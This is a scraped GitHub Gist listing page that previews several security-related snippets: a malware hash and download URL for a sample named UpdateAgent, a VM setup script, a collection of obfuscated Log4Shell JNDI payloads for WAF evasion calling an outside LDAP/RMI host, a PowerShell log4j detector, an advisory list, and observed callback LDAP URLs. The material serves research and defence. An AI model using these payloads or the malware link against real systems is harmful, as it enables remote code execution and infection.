Skip to content

Instantly share code, notes, and snippets.

View opexxx's full-sized avatar

Alexander Knorr opexxx

View GitHub Profile
@sysopfb
sysopfb / UpdateAgent Golang
Created June 2, 2022 19:17
UpdateAgent - GolangVersion
2aaebf0282463c60aa8866e733799eee97f41af1e3ac8ae7855279595217aa2f
SnapITool.zip
```
https://vzhqu.snapitool.com/SnapITool.zip
```
```
@lbogdan
lbogdan / createvm.sh
Last active February 3, 2022 14:54
createvm.sh
#!/bin/bash
set -euo pipefail
IMAGE_QCOW2="AlmaLinux-8-GenericCloud-8.5-20211119.x86_64.qcow2"
IMAGE_URL="https://repo.almalinux.org/almalinux/8/cloud/x86_64/images/$IMAGE_QCOW2"
IMAGE_VMDK="AlmaLinux-8-GenericCloud-8.5-20211119.x86_64.vmdk"
VMS_PATH="/Users/lbogdan/Virtual Machines.localized"
VM_NAME="control"
USERNAME="lbogdan"
@chase2981
chase2981 / _all_commands.md
Last active February 12, 2024 23:30
commands

Here are some useful commands

@ZephrFish
ZephrFish / Log4j Payloads
Last active December 20, 2022 19:32
Collection of WAF evasion payloads
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
@elgrunt0
elgrunt0 / Detect-vulnerablelog4j.ps1
Last active June 1, 2022 09:32
Search all drives for log4j*.jar and compare hash against list of known vulnerable hashes. Write to custom eventlog and output Vulnerable/Compliant. Works as MECM Script. Can be used for CI/CB but prone to timeout
#Create custom event log
#------------------------------------------------------------
function Create-CustomEventLog {
param ($logname)
if (!(Get-EventLog -List | Where-Object {$_.LogDisplayName -eq $logname})) {
New-EventLog -LogName $logname -Source $logname
Limit-EventLog -LogName $logname -OverflowAction OverwriteAsNeeded -MaximumSize 20MB
Write-EventLog -LogName $logname -Source $logname -Message "Event log created. When writing to this event log, use the source: $logname" -EventId 0 -EntryType Information
}
}
@SwitHak
SwitHak / 20211210-TLP-WHITE_LOG4J.md
Last active April 18, 2024 11:20
BlueTeam CheatSheet * Log4Shell* | Last updated: 2021-12-20 2238 UTC

Security Advisories / Bulletins / vendors Responses linked to Log4Shell (CVE-2021-44228)

Errors, typos, something to say ?

  • If you want to add a link, comment or send it to me
  • Feel free to report any mistake directly below in the comment or in DM on Twitter @SwitHak

Other great resources

  • Royce Williams list sorted by vendors responses Royce List
  • Very detailed list NCSC-NL
  • The list maintained by U.S. Cybersecurity and Infrastructure Security Agency: CISA List
@superducktoes
superducktoes / Callback Domains log4j
Last active April 4, 2022 15:33
Callback Domains log4j
ldap://e2216d7a9a31.bingsearchlib.com:39356/a
ldap://612877d3a59b.bingsearchlib.com:39356/a
ldap://205.185.115.217:47324/a
ldap://ab3419ba1f45.bingsearchlib.com:39356/a
ldap://193.3.19.159:53/c
ldap://ea62856c5fc3.bingsearchlib.com:39356/a
ldap://43065f484327.bingsearchlib.com:39356/a
ldap://5486b6edd688.bingsearchlib.com:39356/a
ldap://92d27039ede4.bingsearchlib.com:39356/a
ldap://45cecd2f38ca.bingsearchlib.com:39356/a